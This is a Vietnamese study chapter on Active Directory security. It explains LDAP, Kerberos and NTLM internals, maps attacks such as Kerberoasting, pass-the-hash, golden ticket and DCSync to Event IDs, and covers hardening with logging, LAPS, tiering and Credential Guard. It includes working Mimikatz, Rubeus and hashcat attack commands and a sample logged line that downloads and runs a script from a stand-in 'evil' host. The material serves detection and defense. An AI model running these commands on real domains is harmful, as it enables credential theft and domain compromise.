3.8.1. Là gì và cơ chế
AD expose CSDL qua LDAP (RFC 4511) trên TCP 389 (cleartext/StartTLS), 636 (LDAPS), 3268/3269 (Global Catalog). LDAP dùng mã hóa BER/ASN.1 cho message.
Cấu trúc một LDAPMessage (ASN.1):
LDAPMessage ::= SEQUENCE {
messageID INTEGER (0..maxInt),
protocolOp CHOICE { bindRequest, searchRequest, searchResEntry, ... },
controls [0] Controls OPTIONAL
}
Một searchRequest chứa: baseObject (DN gốc), scope (baseObject=0 / singleLevel=1 / wholeSubtree=2), derefAliases, sizeLimit, timeLimit, filter, attributes.
Bộ lọc (search filter) dạng RFC 4515:
(&(objectClass=user)(sAMAccountName=jdoe))
(&(objectClass=user)(servicePrincipalName=*)) # tìm tài khoản có SPN -> Kerberoast
(userAccountControl:1.2.840.113556.1.4.803:=4194304) # bit DONT_REQ_PREAUTH -> AS-REP roast
1.2.840.113556.1.4.803 là matching rule OID LDAP_MATCHING_RULE_BIT_AND — lọc theo bit của userAccountControl.
userAccountControl (UAC) flags quan trọng:
| Bit (hex) | Tên | Ý nghĩa |
|---|---|---|
| 0x0002 | ACCOUNTDISABLE | Tài khoản tắt |
| 0x0200 | NORMAL_ACCOUNT | Tài khoản user thường |
| 0x10000 | DONT_EXPIRE_PASSWORD | Mật khẩu không hết hạn |
| 0x400000 (4194304) | DONT_REQ_PREAUTH | Cho AS-REP roasting |
| 0x80000 | TRUSTED_FOR_DELEGATION | Unconstrained delegation (nguy hiểm) |
3.8.2. Ví dụ thực tế
# Tìm tài khoản có SPN (mục tiêu Kerberoasting) bằng PowerShell native
([adsisearcher]"(&(objectClass=user)(servicePrincipalName=*))").FindAll() |
ForEach-Object { $_.Properties.samaccountname }
# ldapsearch (Linux) — bind đơn giản rồi truy vấn
ldapsearch -x -H ldap://10.0.0.10 -D "CORP\jdoe" -w 'Passw0rd!' \
-b "DC=corp,DC=example,DC=com" \
"(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
Lưu ý: LDAP 389 cleartext lộ bind credential (simple bind). Microsoft khuyến nghị LDAP signing + channel binding (LDAPS) để chống MITM/relay. Truy vấn LDAP bất thường (enum toàn bộ user/SPN) là dấu hiệu recon — phát hiện qua audit "Directory Service Access" (Event 4662) hoặc network monitoring.
3.9. Kerberos — xác thực từng bước
3.9.1. Là gì và các thành phần
Kerberos v5 (RFC 4120) là giao thức xác thực mặc định trong AD, dựa trên ticket và mã hóa đối xứng. Thành phần:
- KDC (Key Distribution Center) = chạy trên DC, gồm AS (Authentication Service) và TGS (Ticket Granting Service).
- krbtgt: tài khoản đặc biệt; hash mật khẩu của nó là key ký TGT.
- Principal: user (
user@REALM) hoặc service (HTTP/web01.corp.com).
Cổng: TCP/UDP 88.
3.9.2. Ba giai đoạn — luồng đầy đủ
CLIENT KDC (AS+TGS) SERVICE (web01)
| (1) AS-REQ ----------------->| |
| <----------- (2) AS-REP (TGT + session key) |
| (3) TGS-REQ (TGT + SPN) ----->| |
| <----------- (4) TGS-REP (Service ticket + svc key) |
| (5) AP-REQ (Service ticket + Authenticator) -------------->|
| <-------------------- (6) AP-REP (optional mutual auth) |
Giai đoạn 1 — AS-REQ (Authentication Service Request)
Client gửi tới AS. Trường chính trong KDC-REQ-BODY:
| Trường | Ý nghĩa |
|---|---|
cname |
Tên client (user) |
realm |
Realm (domain uppercase) |
sname |
Service name = krbtgt/REALM |
till |
Thời hạn yêu cầu |
nonce |
Số ngẫu nhiên chống replay |
etype |
Danh sách encryption type ưa thích (AES256=18, AES128=17, RC4=23) |
padata |
PA-ENC-TIMESTAMP: timestamp mã hóa bằng key dẫn xuất từ mật khẩu user (pre-authentication) |
Pre-authentication: client chứng minh biết mật khẩu bằng cách mã hóa timestamp hiện tại. Nếu một tài khoản tắt pre-auth (UAC bit DONT_REQ_PREAUTH) → AS sẽ trả AS-REP mà không cần chứng minh → AS-REP roasting.
Giai đoạn 2 — AS-REP
AS trả về: - TGT (Ticket-Granting Ticket): mã hóa bằng krbtgt key → client KHÔNG đọc được nội dung, chỉ cầm. Bên trong chứa session key, danh tính client, và PAC. - Phần enc-part: chứa TGS session key, mã hóa bằng key của user (client giải được).
Cấu trúc một Ticket (KRB_TGT/service ticket, RFC 4120):
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm,
sname [2] PrincipalName, -- krbtgt/REALM hoặc SPN
enc-part [3] EncryptedData -- mã hóa bằng key của service/krbtgt
}
EncTicketPart (giải mã ra) ::= {
flags -- forwardable, renewable, ...
key -- session key
crealm, cname -- danh tính client
authtime, starttime, endtime, renew-till
authorization-data -- chứa PAC (AD-WIN2K-PAC)
}
Giai đoạn 3 — TGS-REQ
Client muốn truy cập service HTTP/web01. Gửi tới TGS:
- TGT (mà nó không đọc được) trong trường padata (AP-REQ wrapper).
- Authenticator: timestamp + cname, mã hóa bằng TGS session key (lấy từ AS-REP) → chứng minh client sở hữu session key.
- sname = HTTP/web01.corp.com.
Giai đoạn 4 — TGS-REP
TGS giải TGT bằng krbtgt key, lấy session key, kiểm authenticator, rồi cấp service ticket mã hóa bằng hash mật khẩu của tài khoản service (tài khoản sở hữu SPN). Kèm service session key (mã hóa bằng TGS session key).
Kerberoasting tấn công đây: bất kỳ user nào cũng xin được service ticket cho mọi SPN. Service ticket mã hóa bằng hash của service account → brute-force offline ra mật khẩu service account, nhất là khi etype=RC4 (0x17).
Giai đoạn 5 — AP-REQ
Client gửi service ticket + authenticator (mã bằng service session key) tới chính service. Service giải ticket bằng key của mình, lấy session key, kiểm authenticator → xác thực client. Service không cần liên hệ KDC.
3.9.3. PAC — Privilege Attribute Certificate
PAC (MS-PAC) nhúng trong authorization-data của ticket, chứa thông tin ủy quyền:
| Thành phần PAC | Ý nghĩa |
|---|---|
KERB_VALIDATION_INFO (Logon Info) |
User SID, danh sách group SID, RID, logon time |
PAC_CLIENT_INFO |
Tên + thời gian |
UPN_DNS_INFO |
UPN |
Server Signature |
HMAC ký bằng key của service |
KDC Signature |
HMAC ký bằng krbtgt key |
PAC là cách Windows mang thông tin nhóm/SID vào ticket để server quyết định quyền mà không cần truy vấn lại DC. Lỗ hổng MS14-068 từng cho phép giả PAC (đặt mình vào Domain Admins) vì server signature kiểm tra yếu.
3.9.4. Ví dụ thực tế
:: Liệt kê ticket Kerberos đang cache trong phiên
klist
:: Xóa ticket (buộc xin lại) — hữu ích khi debug
klist purge
# Kerberoasting (Rubeus) — xin TGS cho mọi SPN, xuất hash để crack offline
Rubeus.exe kerberoast /outfile:hashes.txt
# Crack bằng hashcat mode 13100 (Kerberos 5 TGS-REP etype 23/RC4)
# hashcat -m 13100 hashes.txt wordlist.txt
Lưu ý: Kerberoasting để lại Event 4769 với
TicketEncryptionType=0x17(RC4) vàServiceNamelà tài khoản user-SPN. Nhiều 4769 RC4 trong thời gian ngắn từ một account = báo động.
3.9.5. Lưu ý bảo mật tổng hợp Kerberos
- Vô hiệu hóa RC4, ép AES (etype 17/18) làm giảm hiệu quả Kerberoast.
- Service account dùng gMSA (Group Managed Service Account) với mật khẩu 120 ký tự tự động xoay → không crack được.
- Đặt
krbtgtreset 2 lần định kỳ để vô hiệu golden ticket cũ.
3.10. NTLM — Challenge/Response
3.10.1. Cơ chế 3 bước
NTLM (NT LAN Manager) là giao thức cũ, dùng khi không có Kerberos (truy cập bằng IP, máy không join domain, workgroup). Ba message:
CLIENT SERVER
| (1) NEGOTIATE_MESSAGE ------------->| (báo khả năng: flags)
| <----------- (2) CHALLENGE_MESSAGE | (server nonce 8 byte)
| (3) AUTHENTICATE_MESSAGE ---------->| (NTLM response = HMAC dựa trên NT hash + challenge)
Type 2 CHALLENGE_MESSAGE — các trường:
| Offset | Kích thước | Trường | Ý nghĩa |
|---|---|---|---|
| 0x00 | 8 byte | Signature | NTLMSSP\0 (4E 54 4C 4D 53 53 50 00) |
| 0x08 | 4 byte | MessageType | 0x00000002 |
| 0x0C | 8 byte | TargetName fields | len/maxlen/offset |
| 0x14 | 4 byte | NegotiateFlags | Các cờ thương lượng |
| 0x18 | 8 byte | ServerChallenge | Nonce ngẫu nhiên 8 byte |
| 0x20 | 8 byte | Reserved | - |
| 0x28 | 8 byte | TargetInfo fields | AV_PAIR (tên domain, máy...) |
NTLMv2 response (trong AUTHENTICATE): client tính
NTProofStr = HMAC-MD5(NTLMv2Hash, ServerChallenge || blob)
trong đó NTLMv2Hash = HMAC-MD5(NT-Hash, uppercase(user) || domain). NT-Hash = MD4(UTF-16LE(password)).
Lưu ý: server không bao giờ thấy mật khẩu, chỉ thấy NT hash gián tiếp qua response. Nhưng nếu attacker có NT hash, họ tính được response mà không cần mật khẩu → đây chính là cơ sở của pass-the-hash.
3.10.2. So sánh NTLM vs Kerberos
| Tiêu chí | NTLM | Kerberos |
|---|---|---|
| Mô hình | Challenge/response | Ticket |
| Mutual auth | Không (mặc định) | Có |
| Bên thứ 3 | Không cần (server hỏi DC qua Netlogon) | Cần KDC |
| Dùng IP thay tên | Được | Không (cần SPN/DNS) |
| Replay | Yếu hơn | Có timestamp + nonce |
| Tấn công đặc trưng | Pass-the-hash, NTLM relay | Pass-the-ticket, Kerberoast, golden ticket |
Lưu ý: NTLM authentication tại DC sinh Event 4776. NTLM relay (gửi tiếp challenge/response sang máy khác) là tấn công lớn — phòng bằng SMB signing + EPA (Extended Protection for Authentication) + tắt NTLM nơi có thể.
3.11. Tấn công Active Directory và dấu hiệu Event ID
(Bối cảnh tấn công đầy đủ: Chương 15; kỹ thuật phát hiện và giám sát: Chương 10.)
3.11.1. Pass-the-Hash (PtH)
Cơ chế: dùng trực tiếp NT hash (không cần plaintext) để hoàn thành NTLM authentication tới dịch vụ từ xa (SMB, WMI).
:: Mimikatz: tạo logon session mới mang NT hash
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:32ed87bdb5fdc5e9cba88547376818d4 /run:cmd.exe
Dấu hiệu: Event 4624 Logon Type 9 + LogonProcessName=seclogo + AuthenticationPackageName=Negotiate; thường theo sau là 4624 Type 3 ở máy đích kèm 4672 (privileges).
3.11.2. Pass-the-Ticket (PtT)
Cơ chế: trích xuất TGT/service ticket từ bộ nhớ rồi inject vào phiên khác.
:: Mimikatz: dump rồi nạp lại ticket
sekurlsa::tickets /export
kerberos::ptt [0;abc]-2-0-...-Administrator@krbtgt-CORP.kirbi
Dấu hiệu: ticket Kerberos dùng từ máy/IP không khớp với 4768 ban đầu; thiếu 4768 tương ứng với hoạt động Kerberos.
3.11.3. Kerberoasting / AS-REP Roasting
Đã mô tả cơ chế ở 3.9. Tóm tắt dấu hiệu:
| Tấn công | Event | Trường chỉ báo |
|---|---|---|
| Kerberoasting | 4769 | TicketEncryptionType=0x17, ServiceName là user account có SPN |
| AS-REP roasting | 4768 | PreAuthType=0, account có UAC bit DONT_REQ_PREAUTH |
# AS-REP roasting (Rubeus): tìm account không yêu cầu pre-auth
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# hashcat -m 18200 asrep.txt wordlist.txt
3.11.4. Golden Ticket và Silver Ticket
| Tiêu chí | Golden Ticket | Silver Ticket |
|---|---|---|
| Giả mạo | TGT | Service ticket |
| Key cần có | krbtgt NT hash | NT hash của service account |
| Phạm vi | Toàn domain (bất kỳ service) | Một service cụ thể |
| Liên hệ KDC | Không (khi dùng) | Không |
| Phát hiện | Khó (TGT hợp lệ); săn TGT lifetime bất thường, không có 4768 trước 4769 | Tương tự nhưng giới hạn 1 SPN |
:: Golden ticket (Mimikatz) — cần krbtgt hash + domain SID
kerberos::golden /user:Administrator /domain:corp.example.com ^
/sid:S-1-5-21-...-1107 /krbtgt:<krbtgt_NTLM_hash> /ptt
Vì sao: golden ticket toàn năng vì TGT được ký bằng krbtgt key. Nếu attacker có krbtgt hash, họ tự phát hành TGT với PAC chứa SID Domain Admins, hạn dùng 10 năm. Chỉ reset krbtgt (2 lần) mới vô hiệu.
3.11.5. DCSync
Cơ chế: giả làm DC, gọi RPC DRSUAPI DRSGetNCChanges (IDL_DRSGetNCChanges) để yêu cầu replicate dữ liệu bí mật (hash mọi tài khoản, kể cả krbtgt). Cần quyền Replicating Directory Changes (+ All) trên domain head.
:: Mimikatz: kéo hash của krbtgt qua replication
lsadump::dcsync /domain:corp.example.com /user:krbtgt
Dấu hiệu: Event 4662 trên DC với Properties chứa GUID của control access right:
- 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes)
- 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All)
- 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set)
Khi AccessMask chứa các GUID này từ một principal không phải DC = DCSync đang diễn ra.
3.11.6. Bảng tổng hợp dấu hiệu
| Tấn công | Event ID chính | Chỉ báo cốt lõi |
|---|---|---|
| Pass-the-Hash | 4624 (Type 9), 4776 | LogonProcessName seclogo |
| Pass-the-Ticket | 4624/4769 không khớp 4768 | Ticket dùng từ host lạ |
| Kerberoasting | 4769 | EncType 0x17, SPN user account |
| AS-REP Roasting | 4768 | PreAuthType 0 |
| Golden Ticket | 4769 không có 4768 trước | TGT lifetime bất thường |
| DCSync | 4662 | Replication GUID từ non-DC |
| Service install (PsExec) | 7045, 4697 | binPath lạ |
| Log clear | 1102, 104 | SubjectUserName |
3.12. PowerShell Logging
3.12.1. Ba cấp logging
| Cấp | Event ID / Log | Ghi gì |
|---|---|---|
| Module Logging | 4103 (Microsoft-Windows-PowerShell/Operational) | Pipeline + tham số lệnh theo module |
| Script Block Logging | 4104 (cùng log) | Toàn bộ nội dung script block đã de-obfuscate trước khi chạy |
| Transcription | File text | Toàn bộ input/output ra file |
3.12.2. Bật bằng GPO / Registry
:: Script Block Logging (mạnh nhất — ghi cả lệnh đã giải mã base64)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" ^
/v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
:: Module Logging
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" ^
/v EnableModuleLogging /t REG_DWORD /d 1 /f
:: Transcription ra file
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" ^
/v EnableTranscripting /t REG_DWORD /d 1 /f
Vì sao: 4104 mạnh vì attacker hay dùng
powershell -enc <base64>để giấu lệnh. Script Block Logging ghi nội dung sau khi giải mã, nên thấy lệnh thật. Event 4104 vớiLevel=Warningđược engine tự đánh dấu khi phát hiện pattern khả nghi (Invoke-Mimikatz, IEX, DownloadString...).
Một Event 4104 mẫu:
<EventData>
<Data Name="MessageNumber">1</Data>
<Data Name="MessageTotal">1</Data>
<Data Name="ScriptBlockText">IEX (New-Object Net.WebClient).DownloadString('http://evil/a.ps1')</Data>
<Data Name="ScriptBlockId">{...}</Data>
</EventData>
Lưu ý: attacker downgrade về PowerShell v2 (
powershell -version 2) để né script block logging (v2 không hỗ trợ). Phòng: gỡ .NET 2.0/PowerShell v2 engine. AMSI (Antimalware Scan Interface) bổ sung quét nội dung script lúc runtime; attacker dùng AMSI bypass → giám sát chuỗi bypass đặc trưng.
3.13. LAPS và Mô hình phân tầng (Tiering)
3.13.1. LAPS — Local Administrator Password Solution
Vấn đề giải quyết: mật khẩu admin cục bộ giống nhau trên mọi máy → một PtH lan cả domain. LAPS đặt mật khẩu admin cục bộ ngẫu nhiên, khác nhau mỗi máy, lưu trong AD và tự xoay.
Cơ chế (LAPS cổ điển):
- Mở rộng schema thêm 2 attribute trên object computer:
- ms-Mcs-AdmPwd: mật khẩu plaintext (bảo vệ bằng ACL — chỉ máy đó ghi, admin được ủy quyền đọc).
- ms-Mcs-AdmPwdExpirationTime: thời điểm hết hạn (FILETIME).
- CSE (client extension) chạy theo GPO: nếu hết hạn → sinh mật khẩu mới, đặt cho admin cục bộ, ghi lên AD.
Windows LAPS (mới, 2023): tích hợp sẵn, lưu attribute msLAPS-Password, hỗ trợ mã hóa mật khẩu (DPAPI-NG, chỉ nhóm được ủy quyền giải) và lưu cả vào Entra ID.
# Đọc mật khẩu LAPS của một máy (cần quyền đã ủy quyền)
Get-AdmPwdPassword -ComputerName WS01 # LAPS cổ điển
Get-LapsADPassword -Identity WS01 -AsPlainText # Windows LAPS
Lưu ý: attribute
ms-Mcs-AdmPwdđược bảo vệ bằng ACL + thường đánh dấu "confidential". Phải kiểm tra không vô tình cấp quyền đọc cho nhóm rộng. Audit đọc LAPS (Event 4662 trên attribute đó).
3.13.2. Mô hình phân tầng (Microsoft Tiering / Enterprise Access Model)
Nguyên tắc: credential bậc cao không bao giờ chạm máy bậc thấp.
| Tier | Tài sản | Tài khoản quản trị |
|---|---|---|
| Tier 0 | DC, AD CS, ADFS, hệ thống điều khiển danh tính | Domain/Enterprise Admins |
| Tier 1 | Server, ứng dụng, dữ liệu | Server admin |
| Tier 2 | Workstation, thiết bị người dùng | Helpdesk/workstation admin |
Quy tắc: - Admin Tier 0 chỉ đăng nhập vào Privileged Access Workstation (PAW) và DC. - Không dùng tài khoản Tier 0 để RDP vào workstation (vì hash sẽ nằm trong LSASS của máy Tier 2, dễ bị dump). - Dùng Authentication Policy Silos + Protected Users group (cấm NTLM, cấm delegation, ép Kerberos AES, không cache credential) cho tài khoản nhạy cảm.
# Thêm admin vào Protected Users (chống PtH/PtT cho tài khoản đó)
Add-ADGroupMember -Identity "Protected Users" -Members "tier0-admin"
# Tạo Authentication Policy giới hạn TGT lifetime ngắn
New-ADAuthenticationPolicy -Name "T0-Policy" `
-UserTGTLifetimeMins 240 -ProtectedFromAccidentalDeletion $true
Vì sao: tiering hiệu quả vì phần lớn tấn công AD dựa vào credential reuse theo chiều ngang/dọc (lấy hash admin từ một máy bị chiếm rồi dùng lên DC). Cô lập credential theo tier cắt đứt chuỗi này ngay cả khi một máy bị xâm nhập. Protected Users + LSA Protection (
RunAsPPL) + Credential Guard (cô lập secret trong VBS/VTL1) là lớp phòng thủ kỹ thuật bổ sung chống dump LSASS.
3.13.3. Credential Guard và LSA Protection
- LSA Protection (RunAsPPL): chạy
lsass.exenhư Protected Process Light → process khác (kể cả admin) không mở handle đọc bộ nhớ → chặn Mimikatzsekurlsa.cmd reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f - Credential Guard: dùng virtualization-based security (Hyper-V VTL1) để cô lập NTLM hash + Kerberos TGT trong LSAIso mà LSASS user-mode không truy cập được → PtH/PtT trên máy đó vô hiệu.
Cảnh báo: nếu Sysmon Event 10 vẫn thấy handle PROCESS_VM_READ tới lsass.exe khi RunAsPPL bật, nghĩa là attacker đã nạp driver để gỡ bảo vệ PPL (BYOVD) — báo động cao.
3.14. Tổng kết phòng thủ theo lớp
| Lớp | Biện pháp | Chống lại |
|---|---|---|
| Logging | Sysmon + 4688 cmdline + 4104 + WEF→SIEM | Mọi giai đoạn, anti-forensic |
| Credential | LAPS, gMSA, Protected Users, Credential Guard, RunAsPPL | PtH, PtT, dump LSASS |
| Kerberos | Tắt RC4, reset krbtgt, AES, AuthN Policy | Kerberoast, golden ticket |
| Kiến trúc | Tiering, PAW, LAPS | Lateral movement, leo quyền |
| Mạng/giao thức | LDAP signing+CB, SMB signing, tắt NTLM, EPA | LDAP/NTLM relay |
| Giám sát AD | Audit 4662, 4769 EncType, 4624 Type 9 | DCSync, Kerberoast, PtH |
Toàn bộ nội dung trên tạo nền tảng để vận hành phát hiện và đáp ứng sự cố trong môi trường Windows/AD ở mức kỹ thuật chi tiết: từ byte trong hive/ticket/token cho tới event ID cụ thể tương ứng từng kỹ thuật tấn công.
Ghi chú của mình
Khu vực ghi chú cá nhân: những điểm từng hiểu sai, phần còn đang tìm hiểu, hoặc kinh nghiệm rút ra khi thực hành — cập nhật dần.